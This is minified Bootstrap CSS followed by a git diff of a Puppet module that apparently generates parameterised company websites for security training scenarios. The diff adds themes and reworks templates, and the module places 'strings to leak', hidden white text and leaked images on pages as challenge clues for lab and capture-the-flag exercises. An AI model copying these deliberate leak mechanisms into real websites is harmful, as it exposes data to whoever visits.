!important}.mr-sm-1,.mx-sm-1{margin-right:0.25rem !important}.mb-sm-1,.my-sm-1{margin-bottom:0.25rem !important}.ml-sm-1,.mx-sm-1{margin-left:0.25rem !important}.m-sm-2{margin:0.5rem !important}.mt-sm-2,.my-sm-2{margin-top:0.5rem !important}.mr-sm-2,.mx-sm-2{margin-right:0.5rem !important}.mb-sm-2,.my-sm-2{margin-bottom:0.5rem !important}.ml-sm-2,.mx-sm-2{margin-left:0.5rem !important}.m-sm-3{margin:1rem !important}.mt-sm-3,.my-sm-3{margin-top:1rem !important}.mr-sm-3,.mx-sm-3{margin-right:1rem !important}.mb-sm-3,.my-sm-3{margin-bottom:1rem !important}.ml-sm-3,.mx-sm-3{margin-left:1rem !important}.m-sm-4{margin:1.5rem !important}.mt-sm-4,.my-sm-4{margin-top:1.5rem !important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem !important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem !important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem !important}.m-sm-5{margin:3rem !important}.mt-sm-5,.my-sm-5{margin-top:3rem !important}.mr-sm-5,.mx-sm-5{margin-right:3rem !important}.mb-sm-5,.my-sm-5{margin-bottom:3rem !important}.ml-sm-5,.mx-sm-5{margin-left:3rem !important}.p-sm-0{padding:0 !important}.pt-sm-0,.py-sm-0{padding-top:0 !important}.pr-sm-0,.px-sm-0{padding-right:0 !important}.pb-sm-0,.py-sm-0{padding-bottom:0 !important}.pl-sm-0,.px-sm-0{padding-left:0 !important}.p-sm-1{padding:0.25rem !important}.pt-sm-1,.py-sm-1{padding-top:0.25rem !important}.pr-sm-1,.px-sm-1{padding-right:0.25rem !important}.pb-sm-1,.py-sm-1{padding-bottom:0.25rem !important}.pl-sm-1,.px-sm-1{padding-left:0.25rem !important}.p-sm-2{padding:0.5rem !important}.pt-sm-2,.py-sm-2{padding-top:0.5rem !important}.pr-sm-2,.px-sm-2{padding-right:0.5rem !important}.pb-sm-2,.py-sm-2{padding-bottom:0.5rem !important}.pl-sm-2,.px-sm-2{padding-left:0.5rem !important}.p-sm-3{padding:1rem !important}.pt-sm-3,.py-sm-3{padding-top:1rem !important}.pr-sm-3,.px-sm-3{padding-right:1rem !important}.pb-sm-3,.py-sm-3{padding-bottom:1rem !important}.pl-sm-3,.px-sm-3{padding-left:1rem !important}.p-sm-4{padding:1.5rem !important}.pt-sm-4,.py-sm-4{padding-top:1.5rem !important}.pr-sm-4,.px-sm-4{padding-right:1.5rem !important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem !important}.pl-sm-4,.px-sm-4{padding-left:1.5rem !important}.p-sm-5{padding:3rem !important}.pt-sm-5,.py-sm-5{padding-top:3rem !important}.pr-sm-5,.px-sm-5{padding-right:3rem !important}.pb-sm-5,.py-sm-5{padding-bottom:3rem !important}.pl-sm-5,.px-sm-5{padding-left:3rem !important}.m-sm-auto{margin:auto !important}.mt-sm-auto,.my-sm-auto{margin-top:auto !important}.mr-sm-auto,.mx-sm-auto{margin-right:auto !important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto !important}.ml-sm-auto,.mx-sm-auto{margin-left:auto !important}}@media (min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0,.my-md-0{margin-top:0 !important}.mr-md-0,.mx-md-0{margin-right:0 !important}.mb-md-0,.my-md-0{margin-bottom:0 !important}.ml-md-0,.mx-md-0{margin-left:0 !important}.m-md-1{margin:0.25rem !important}.mt-md-1,.my-md-1{margin-top:0.25rem !important}.mr-md-1,.mx-md-1{margin-right:0.25rem !important}.mb-md-1,.my-md-1{margin-bottom:0.25rem !important}.ml-md-1,.mx-md-1{margin-left:0.25rem !important}.m-md-2{margin:0.5rem !important}.mt-md-2,.my-md-2{margin-top:0.5rem !important}.mr-md-2,.mx-md-2{margin-right:0.5rem !important}.mb-md-2,.my-md-2{margin-bottom:0.5rem !important}.ml-md-2,.mx-md-2{margin-left:0.5rem !important}.m-md-3{margin:1rem !important}.mt-md-3,.my-md-3{margin-top:1rem !important}.mr-md-3,.mx-md-3{margin-right:1rem !important}.mb-md-3,.my-md-3{margin-bottom:1rem !important}.ml-md-3,.mx-md-3{margin-left:1rem !important}.m-md-4{margin:1.5rem !important}.mt-md-4,.my-md-4{margin-top:1.5rem !important}.mr-md-4,.mx-md-4{margin-right:1.5rem !important}.mb-md-4,.my-md-4{margin-bottom:1.5rem !important}.ml-md-4,.mx-md-4{margin-left:1.5rem !important}.m-md-5{margin:3rem !important}.mt-md-5,.my-md-5{margin-top:3rem !important}.mr-md-5,.mx-md-5{margin-right:3rem !important}.mb-md-5,.my-md-5{margin-bottom:3rem !important}.ml-md-5,.mx-md-5{margin-left:3rem !important}.p-md-0{padding:0 !important}.pt-md-0,.py-md-0{padding-top:0 !important}.pr-md-0,.px-md-0{padding-right:0 !important}.pb-md-0,.py-md-0{padding-bottom:0 !important}.pl-md-0,.px-md-0{padding-left:0 !important}.p-md-1{padding:0.25rem !important}.pt-md-1,.py-md-1{padding-top:0.25rem !important}.pr-md-1,.px-md-1{padding-right:0.25rem !important}.pb-md-1,.py-md-1{padding-bottom:0.25rem !important}.pl-md-1,.px-md-1{padding-left:0.25rem !important}.p-md-2{padding:0.5rem !important}.pt-md-2,.py-md-2{padding-top:0.5rem !important}.pr-md-2,.px-md-2{padding-right:0.5rem !important}.pb-md-2,.py-md-2{padding-bottom:0.5rem !important}.pl-md-2,.px-md-2{padding-left:0.5rem !important}.p-md-3{padding:1rem !important}.pt-md-3,.py-md-3{padding-top:1rem !important}.pr-md-3,.px-md-3{padding-right:1rem !important}.pb-md-3,.py-md-3{padding-bottom:1rem !important}.pl-md-3,.px-md-3{padding-left:1rem !important}.p-md-4{padding:1.5rem !important}.pt-md-4,.py-md-4{padding-top:1.5rem !important}.pr-md-4,.px-md-4{padding-right:1.5rem !important}.pb-md-4,.py-md-4{padding-bottom:1.5rem !important}.pl-md-4,.px-md-4{padding-left:1.5rem !important}.p-md-5{padding:3rem !important}.pt-md-5,.py-md-5{padding-top:3rem !important}.pr-md-5,.px-md-5{padding-right:3rem !important}.pb-md-5,.py-md-5{padding-bottom:3rem !important}.pl-md-5,.px-md-5{padding-left:3rem !important}.m-md-auto{margin:auto !important}.mt-md-auto,.my-md-auto{margin-top:auto !important}.mr-md-auto,.mx-md-auto{margin-right:auto !important}.mb-md-auto,.my-md-auto{margin-bottom:auto !important}.ml-md-auto,.mx-md-auto{margin-left:auto !important}}@media (min-width: 992px){.m-lg-0{margin:0 !important}.mt-lg-0,.my-lg-0{margin-top:0 !important}.mr-lg-0,.mx-lg-0{margin-right:0 !important}.mb-lg-0,.my-lg-0{margin-bottom:0 !important}.ml-lg-0,.mx-lg-0{margin-left:0 !important}.m-lg-1{margin:0.25rem !important}.mt-lg-1,.my-lg-1{margin-top:0.25rem !important}.mr-lg-1,.mx-lg-1{margin-right:0.25rem !important}.mb-lg-1,.my-lg-1{margin-bottom:0.25rem !important}.ml-lg-1,.mx-lg-1{margin-left:0.25rem !important}.m-lg-2{margin:0.5rem !important}.mt-lg-2,.my-lg-2{margin-top:0.5rem !important}.mr-lg-2,.mx-lg-2{margin-right:0.5rem !important}.mb-lg-2,.my-lg-2{margin-bottom:0.5rem !important}.ml-lg-2,.mx-lg-2{margin-left:0.5rem !important}.m-lg-3{margin:1rem !important}.mt-lg-3,.my-lg-3{margin-top:1rem !important}.mr-lg-3,.mx-lg-3{margin-right:1rem !important}.mb-lg-3,.my-lg-3{margin-bottom:1rem !important}.ml-lg-3,.mx-lg-3{margin-left:1rem !important}.m-lg-4{margin:1.5rem !important}.mt-lg-4,.my-lg-4{margin-top:1.5rem !important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem !important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem !important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem !important}.m-lg-5{margin:3rem !important}.mt-lg-5,.my-lg-5{margin-top:3rem !important}.mr-lg-5,.mx-lg-5{margin-right:3rem !important}.mb-lg-5,.my-lg-5{margin-bottom:3rem !important}.ml-lg-5,.mx-lg-5{margin-left:3rem !important}.p-lg-0{padding:0 !important}.pt-lg-0,.py-lg-0{padding-top:0 !important}.pr-lg-0,.px-lg-0{padding-right:0 !important}.pb-lg-0,.py-lg-0{padding-bottom:0 !important}.pl-lg-0,.px-lg-0{padding-left:0 !important}.p-lg-1{padding:0.25rem !important}.pt-lg-1,.py-lg-1{padding-top:0.25rem !important}.pr-lg-1,.px-lg-1{padding-right:0.25rem !important}.pb-lg-1,.py-lg-1{padding-bottom:0.25rem !important}.pl-lg-1,.px-lg-1{padding-left:0.25rem !important}.p-lg-2{padding:0.5rem !important}.pt-lg-2,.py-lg-2{padding-top:0.5rem !important}.pr-lg-2,.px-lg-2{padding-right:0.5rem !important}.pb-lg-2,.py-lg-2{padding-bottom:0.5rem !important}.pl-lg-2,.px-lg-2{padding-left:0.5rem !important}.p-lg-3{padding:1rem !important}.pt-lg-3,.py-lg-3{padding-top:1rem !important}.pr-lg-3,.px-lg-3{padding-right:1rem !important}.pb-lg-3,.py-lg-3{padding-bottom:1rem !important}.pl-lg-3,.px-lg-3{padding-left:1rem !important}.p-lg-4{padding:1.5rem !important}.pt-lg-4,.py-lg-4{padding-top:1.5rem !important}.pr-lg-4,.px-lg-4{padding-right:1.5rem !important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem !important}.pl-lg-4,.px-lg-4{padding-left:1.5rem !important}.p-lg-5{padding:3rem !important}.pt-lg-5,.py-lg-5{padding-top:3rem !important}.pr-lg-5,.px-lg-5{padding-right:3rem !important}.pb-lg-5,.py-lg-5{padding-bottom:3rem !important}.pl-lg-5,.px-lg-5{padding-left:3rem !important}.m-lg-auto{margin:auto !important}.mt-lg-auto,.my-lg-auto{margin-top:auto !important}.mr-lg-auto,.mx-lg-auto{margin-right:auto !important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto !important}.ml-lg-auto,.mx-lg-auto{margin-left:auto !important}}@media (min-width: 1200px){.m-xl-0{margin:0 !important}.mt-xl-0,.my-xl-0{margin-top:0 !important}.mr-xl-0,.mx-xl-0{margin-right:0 !important}.mb-xl-0,.my-xl-0{margin-bottom:0 !important}.ml-xl-0,.mx-xl-0{margin-left:0 !important}.m-xl-1{margin:0.25rem !important}.mt-xl-1,.my-xl-1{margin-top:0.25rem !important}.mr-xl-1,.mx-xl-1{margin-right:0.25rem !important}.mb-xl-1,.my-xl-1{margin-bottom:0.25rem !important}.ml-xl-1,.mx-xl-1{margin-left:0.25rem !important}.m-xl-2{margin:0.5rem !important}.mt-xl-2,.my-xl-2{margin-top:0.5rem !important}.mr-xl-2,.mx-xl-2{margin-right:0.5rem !important}.mb-xl-2,.my-xl-2{margin-bottom:0.5rem !important}.ml-xl-2,.mx-xl-2{margin-left:0.5rem !important}.m-xl-3{margin:1rem !important}.mt-xl-3,.my-xl-3{margin-top:1rem !important}.mr-xl-3,.mx-xl-3{margin-right:1rem !important}.mb-xl-3,.my-xl-3{margin-bottom:1rem !important}.ml-xl-3,.mx-xl-3{margin-left:1rem !important}.m-xl-4{margin:1.5rem !important}.mt-xl-4,.my-xl-4{margin-top:1.5rem !important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem !important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem !important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem !important}.m-xl-5{margin:3rem !important}.mt-xl-5,.my-xl-5{margin-top:3rem !important}.mr-xl-5,.mx-xl-5{margin-right:3rem !important}.mb-xl-5,.my-xl-5{margin-bottom:3rem !important}.ml-xl-5,.mx-xl-5{margin-left:3rem !important}.p-xl-0{padding:0 !important}.pt-xl-0,.py-xl-0{padding-top:0 !important}.pr-xl-0,.px-xl-0{padding-right:0 !important}.pb-xl-0,.py-xl-0{padding-bottom:0 !important}.pl-xl-0,.px-xl-0{padding-left:0 !important}.p-xl-1{padding:0.25rem !important}.pt-xl-1,.py-xl-1{padding-top:0.25rem !important}.pr-xl-1,.px-xl-1{padding-right:0.25rem !important}.pb-xl-1,.py-xl-1{padding-bottom:0.25rem !important}.pl-xl-1,.px-xl-1{padding-left:0.25rem !important}.p-xl-2{padding:0.5rem !important}.pt-xl-2,.py-xl-2{padding-top:0.5rem !important}.pr-xl-2,.px-xl-2{padding-right:0.5rem !important}.pb-xl-2,.py-xl-2{padding-bottom:0.5rem !important}.pl-xl-2,.px-xl-2{padding-left:0.5rem !important}.p-xl-3{padding:1rem !important}.pt-xl-3,.py-xl-3{padding-top:1rem !important}.pr-xl-3,.px-xl-3{padding-right:1rem !important}.pb-xl-3,.py-xl-3{padding-bottom:1rem !important}.pl-xl-3,.px-xl-3{padding-left:1rem !important}.p-xl-4{padding:1.5rem !important}.pt-xl-4,.py-xl-4{padding-top:1.5rem !important}.pr-xl-4,.px-xl-4{padding-right:1.5rem !important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem !important}.pl-xl-4,.px-xl-4{padding-left:1.5rem !important}.p-xl-5{padding:3rem !important}.pt-xl-5,.py-xl-5{padding-top:3rem !important}.pr-xl-5,.px-xl-5{padding-right:3rem !important}.pb-xl-5,.py-xl-5{padding-bottom:3rem !important}.pl-xl-5,.px-xl-5{padding-left:3rem !important}.m-xl-auto{margin:auto !important}.mt-xl-auto,.my-xl-auto{margin-top:auto !important}.mr-xl-auto,.mx-xl-auto{margin-right:auto !important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto !important}.ml-xl-auto,.mx-xl-auto{margin-left:auto !important}}.text-justify{text-align:justify !important}.text-nowrap{white-space:nowrap !important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left !important}.text-right{text-align:right !important}.text-center{text-align:center !important}@media (min-width: 576px){.text-sm-left{text-align:left !important}.text-sm-right{text-align:right !important}.text-sm-center{text-align:center !important}}@media (min-width: 768px){.text-md-left{text-align:left !important}.text-md-right{text-align:right !important}.text-md-center{text-align:center !important}}@media (min-width: 992px){.text-lg-left{text-align:left !important}.text-lg-right{text-align:right !important}.text-lg-center{text-align:center !important}}@media (min-width: 1200px){.text-xl-left{text-align:left !important}.text-xl-right{text-align:right !important}.text-xl-center{text-align:center !important}}.text-lowercase{text-transform:lowercase !important}.text-uppercase{text-transform:uppercase !important}.text-capitalize{text-transform:capitalize !important}.font-weight-light{font-weight:300 !important}.font-weight-normal{font-weight:400 !important}.font-weight-bold{font-weight:700 !important}.font-italic{font-style:italic !important}.text-white{color:#fff !important}.text-primary{color:#E95420 !important}a.text-primary:hover,a.text-primary:focus{color:#c34113 !important}.text-secondary{color:#AEA79F !important}a.text-secondary:hover,a.text-secondary:focus{color:#978e83 !important}.text-success{color:#38B44A !important}a.text-success:hover,a.text-success:focus{color:#2c8d3a !important}.text-info{color:#17a2b8 !important}a.text-info:hover,a.text-info:focus{color:#117a8b !important}.text-warning{color:#EFB73E !important}a.text-warning:hover,a.text-warning:focus{color:#e7a413 !important}.text-danger{color:#DF382C !important}a.text-danger:hover,a.text-danger:focus{color:#bc271c !important}.text-light{color:#e9ecef !important}a.text-light:hover,a.text-light:focus{color:#cbd3da !important}.text-dark{color:#772953 !important}a.text-dark:hover,a.text-dark:focus{color:#511c39 !important}.text-muted{color:#868e96 !important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.visible{visibility:visible !important}.invisible{visibility:hidden !important}@media print{*,*::before,*::after{text-shadow:none !important;-webkit-box-shadow:none !important;box-shadow:none !important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap !important}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px !important}.container{min-width:992px !important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered th,.table-bordered td{border:1px solid #ddd !important}} diff --git a/modules/services/unix/http/parameterised_website/manifests/apache.pp b/modules/services/unix/http/parameterised_website/manifests/apache.pp index 28d310530..3235c139d 100644 --- a/modules/services/unix/http/parameterised_website/manifests/apache.pp +++ b/modules/services/unix/http/parameterised_website/manifests/apache.pp @@ -1,6 +1,5 @@ class parameterised_website::apache { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $port = $secgen_parameters['port'][0] class { '::apache': diff --git a/modules/services/unix/http/parameterised_website/manifests/install.pp b/modules/services/unix/http/parameterised_website/manifests/install.pp index 3e4b3944e..e014ef527 100644 --- a/modules/services/unix/http/parameterised_website/manifests/install.pp +++ b/modules/services/unix/http/parameterised_website/manifests/install.pp @@ -1,7 +1,7 @@ class parameterised_website::install { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) + $theme = $secgen_parameters['theme'][0] $raw_org = $secgen_parameters['organisation'][0] if $raw_org and $raw_org != '' { $organisation = parsejson($raw_org) @@ -17,6 +17,7 @@ class parameterised_website::install { $industry = $organisation['industry'] $product_name = $organisation['product_name'] $employees = $organisation['employees'] + $intro_paragraph = $organisation['intro_paragraph'] } else { $business_name = '' $business_motto = '' @@ -27,10 +28,10 @@ class parameterised_website::install { $industry = '' $product_name = '' $employees = [] + $intro_paragraph = [] } $strings_to_leak = $secgen_parameters['strings_to_leak'] - $main_page_paragraph_content = $secgen_parameters['main_page_paragraph_content'] $images_to_leak = $secgen_parameters['images_to_leak'] $security_audit = $secgen_parameters['security_audit'] @@ -41,6 +42,12 @@ class parameterised_website::install { $white_text = $secgen_parameters['white_text'] + if $intro_paragraph != '' { + $main_page_paragraph_content = $intro_paragraph + } else { + $main_page_paragraph_content = $secgen_parameters['main_page_paragraph_content'] + } + # Additional Pages $additional_pages = $secgen_parameters['additional_pages'] $additional_page_filenames = $secgen_parameters['additional_page_filenames'] @@ -78,6 +85,13 @@ class parameterised_website::install { require => File["$docroot/css"], } + # Add randomly selected CSS theme + file { "$docroot/css/$theme": + ensure => file, + source => "puppet:///modules/parameterised_website/themes/$theme", + require => File[$docroot], + } + # Apply index page template file { "$docroot/index.html": ensure => file, @@ -160,6 +174,7 @@ class parameterised_website::install { file{ "$docroot/security_audit_remit.html": ensure => file, content => template('parameterised_website/security_audit_remit_page.html.erb'), + } } diff --git a/modules/services/unix/http/parameterised_website/secgen_metadata.xml b/modules/services/unix/http/parameterised_website/secgen_metadata.xml index 5421977f1..e94df7566 100644 --- a/modules/services/unix/http/parameterised_website/secgen_metadata.xml +++ b/modules/services/unix/http/parameterised_website/secgen_metadata.xml @@ -29,6 +29,7 @@ hidden_tabs port + theme 80 @@ -51,8 +52,13 @@ false + + + + - modules/services/unix/http/apache + .*apache + httpd \ No newline at end of file diff --git a/modules/services/unix/http/parameterised_website/templates/acceptable_use_page.html.erb b/modules/services/unix/http/parameterised_website/templates/acceptable_use_page.html.erb index fb8b0549f..0064e3f44 100644 --- a/modules/services/unix/http/parameterised_website/templates/acceptable_use_page.html.erb +++ b/modules/services/unix/http/parameterised_website/templates/acceptable_use_page.html.erb @@ -4,6 +4,6 @@ <%= scope.function_template(['parameterised_website/subtemplates/navbar.html.erb']) %> <%= scope.function_template(['parameterised_website/subtemplates/acceptable_use_policy.html.erb']) %> + <%= scope.function_template(['parameterised_website/subtemplates/scripts.html.erb']) %> -<%= scope.function_template(['parameterised_website/subtemplates/footer.html.erb']) %> \ No newline at end of file diff --git a/modules/services/unix/http/parameterised_website/templates/contact.html.erb b/modules/services/unix/http/parameterised_website/templates/contact.html.erb index 1552fe8e8..1b554b161 100644 --- a/modules/services/unix/http/parameterised_website/templates/contact.html.erb +++ b/modules/services/unix/http/parameterised_website/templates/contact.html.erb @@ -2,42 +2,48 @@ <%= scope.function_template(['parameterised_website/subtemplates/header.html.erb']) %> -<%= scope.function_template(['parameterised_website/subtemplates/navbar.html.erb']) %> -
-
-
-
-

<%= @business_name %>

-
-

<%= @business_motto %>

+ <%= scope.function_template(['parameterised_website/subtemplates/navbar.html.erb']) %> +
+
+
+
+

<%= @business_name %>

+
+

<%= @business_motto %>

+
- -
-

Contact <%= @business_name %>

-

Address: <%= @business_address %>

-

Telephone: <%= @office_telephone %>

-

Email: <%= @office_email %>

+
+
+

Contact <%= @business_name %>

+

Address: <%= @business_address %>

+

Telephone: <%= @office_telephone %>

+

Email: <%= @office_email %>

+
- -
-

Manager

-

<%= @manager_profile['name'] %>

-

<%= @manager_profile['phone_number'] %>

-

<%= @manager_profile['email_address'] %>

+
+
+

Manager

+

<%= @manager_profile['name'] %>

+

<%= @manager_profile['phone_number'] %>

+

<%= @manager_profile['email_address'] %>

+
- -

Employees

- <% @employees.each do |employee| -%> -

<%= employee['name'] %>

-

<%= employee['phone_number'] %>

-

<%= employee['email_address'] %>

-

- - <% end %> +

+

Employees

+ <% @employees.each do |employee| -%> +
+
+

<%= employee['name'] %>

+

<%= employee['phone_number'] %>

+

<%= employee['email_address'] %>

+
+
+ <% end %> +
+
-
+ <%= scope.function_template(['parameterised_website/subtemplates/scripts.html.erb']) %> -<%= scope.function_template(['parameterised_website/subtemplates/footer.html.erb']) %> \ No newline at end of file diff --git a/modules/services/unix/http/parameterised_website/templates/default.css.erb b/modules/services/unix/http/parameterised_website/templates/default.css.erb index 2c97e810b..5c709bbed 100644 --- a/modules/services/unix/http/parameterised_website/templates/default.css.erb +++ b/modules/services/unix/http/parameterised_website/templates/default.css.erb @@ -1,13 +1,35 @@ body { - background: #f8f8f8; - color: #666; - padding-top: 70px; + padding-top:120px; + font-size: 2rem; } -body p { - align-content: center +h1 { + font-size: 4rem; } +h2 { + font-size: 3rem; +} + +.navbar-brand { + font-size: 2.25rem; +} + +.lead { + font-size: 2.5rem; +} + +.employee { + font-size: 1.75rem; + padding-top: 20px; +} + +#contact, #employees { + padding-top: 20px; +} + + + <% if @white_text -%> #white_text { color: white; diff --git a/modules/services/unix/http/parameterised_website/templates/index.html.erb b/modules/services/unix/http/parameterised_website/templates/index.html.erb index 6e62ffae7..24426be29 100644 --- a/modules/services/unix/http/parameterised_website/templates/index.html.erb +++ b/modules/services/unix/http/parameterised_website/templates/index.html.erb @@ -8,6 +8,7 @@ <%= scope.function_template(['parameterised_website/subtemplates/navbar.html.erb']) %> <%= scope.function_template(['parameterised_website/subtemplates/main_container.html.erb']) %> + <%= scope.function_template(['parameterised_website/subtemplates/scripts.html.erb']) %> + <%= scope.function_template(['parameterised_website/subtemplates/scripts.html.erb']) %> -<%= scope.function_template(['parameterised_website/subtemplates/footer.html.erb']) %> \ No newline at end of file diff --git a/modules/services/unix/http/parameterised_website/templates/intranet_index.html.erb b/modules/services/unix/http/parameterised_website/templates/intranet_index.html.erb index cc9e5412c..98ebd4243 100644 --- a/modules/services/unix/http/parameterised_website/templates/intranet_index.html.erb +++ b/modules/services/unix/http/parameterised_website/templates/intranet_index.html.erb @@ -4,6 +4,6 @@ <%= scope.function_template(['parameterised_website/subtemplates/navbar.html.erb']) %> <%= scope.function_template(['parameterised_website/subtemplates/main_container.html.erb']) %> + <%= scope.function_template(['parameterised_website/subtemplates/scripts.html.erb']) %> -<%= scope.function_template(['parameterised_website/subtemplates/footer.html.erb']) %> \ No newline at end of file diff --git a/modules/services/unix/http/parameterised_website/templates/security_audit_remit_page.html.erb b/modules/services/unix/http/parameterised_website/templates/security_audit_remit_page.html.erb index 26e8da5c0..cc5a1cf64 100644 --- a/modules/services/unix/http/parameterised_website/templates/security_audit_remit_page.html.erb +++ b/modules/services/unix/http/parameterised_website/templates/security_audit_remit_page.html.erb @@ -10,6 +10,6 @@
+ <%= scope.function_template(['parameterised_website/subtemplates/scripts.html.erb']) %> -<%= scope.function_template(['parameterised_website/subtemplates/footer.html.erb']) %> \ No newline at end of file diff --git a/modules/services/unix/http/parameterised_website/templates/subtemplates/footer.html.erb b/modules/services/unix/http/parameterised_website/templates/subtemplates/footer.html.erb deleted file mode 100644 index 882e32bbf..000000000 --- a/modules/services/unix/http/parameterised_website/templates/subtemplates/footer.html.erb +++ /dev/null @@ -1,7 +0,0 @@ -
- - - - - -
diff --git a/modules/services/unix/http/parameterised_website/templates/subtemplates/header.html.erb b/modules/services/unix/http/parameterised_website/templates/subtemplates/header.html.erb index 298cec027..2408cfa84 100644 --- a/modules/services/unix/http/parameterised_website/templates/subtemplates/header.html.erb +++ b/modules/services/unix/http/parameterised_website/templates/subtemplates/header.html.erb @@ -7,7 +7,8 @@ <%= $page_title %> - - + + + \ No newline at end of file diff --git a/modules/services/unix/http/parameterised_website/templates/subtemplates/main_container.html.erb b/modules/services/unix/http/parameterised_website/templates/subtemplates/main_container.html.erb index 6133a2ad2..880bf5559 100644 --- a/modules/services/unix/http/parameterised_website/templates/subtemplates/main_container.html.erb +++ b/modules/services/unix/http/parameterised_website/templates/subtemplates/main_container.html.erb @@ -1,37 +1,50 @@ -
-
-
- <% # Intranet style -%> - <% if @security_audit or @acceptable_use_policy -%> -

Welcome to the internal intranet server for <%=@business_name%>.

- <% if @security_audit -%> -

Find your Security Audit Remit here.

- <% end -%> - <% if @acceptable_use_policy -%> -

Find the Acceptable Use Policy here.

- <% end -%> - <% # Externally input / default style -%> - <% elsif @manager_profile != '' or @employees[0] != '' or @business_address != ''-%> -

<%= @business_name %>

-

<%= @product_name %>

-

<%= @main_page_paragraph_content.join %>

- <% elsif @main_page_paragraph_content-%> -

<%= @main_page_paragraph_content.join %>

- <% end -%> -
+
+ <% if @business_name != ''-%> + + <% end -%> - <% if @visible_tabs and @visible_tabs[0] != '' -%> - <%= scope.function_template(['parameterised_website/subtemplates/tab_panel.html.erb']) %> +
+
+
+ <% # Intranet style -%> + <% if @security_audit or @acceptable_use_policy -%> +

Welcome to the internal intranet server for <%= @business_name %>.

+ <% if @security_audit -%> +

Find your Security Audit Remit here.

+ <% end -%> + <% if @acceptable_use_policy -%> +

Find the Acceptable Use Policy here.

+ <% end -%> + <% # Default style -%> + <% else -%> + <% @main_page_paragraph_content.each do |pg| -%> +

<%= pg %>

+ <% end -%> +
<% end -%> -
- <% if @images_to_leak -%> - <% @images_to_leak.each_with_index{ |img, counter| -%> - <% unless img == '' -%> - - <% end -%> - <% } -%> - <% end -%> + <% if @visible_tabs and @visible_tabs[0] != '' -%> + <%= scope.function_template(['parameterised_website/subtemplates/tab_panel.html.erb']) %> + <% end -%> + +
+ <% if @images_to_leak -%> + <% @images_to_leak.each_with_index {|img, counter| -%> + <% unless img == '' -%> + + <% end -%> + <% } -%> + <% end -%> +
diff --git a/modules/services/unix/http/parameterised_website/templates/subtemplates/navbar.html.erb b/modules/services/unix/http/parameterised_website/templates/subtemplates/navbar.html.erb index c71b2b57f..5656efabc 100644 --- a/modules/services/unix/http/parameterised_website/templates/subtemplates/navbar.html.erb +++ b/modules/services/unix/http/parameterised_website/templates/subtemplates/navbar.html.erb @@ -1,17 +1,19 @@ -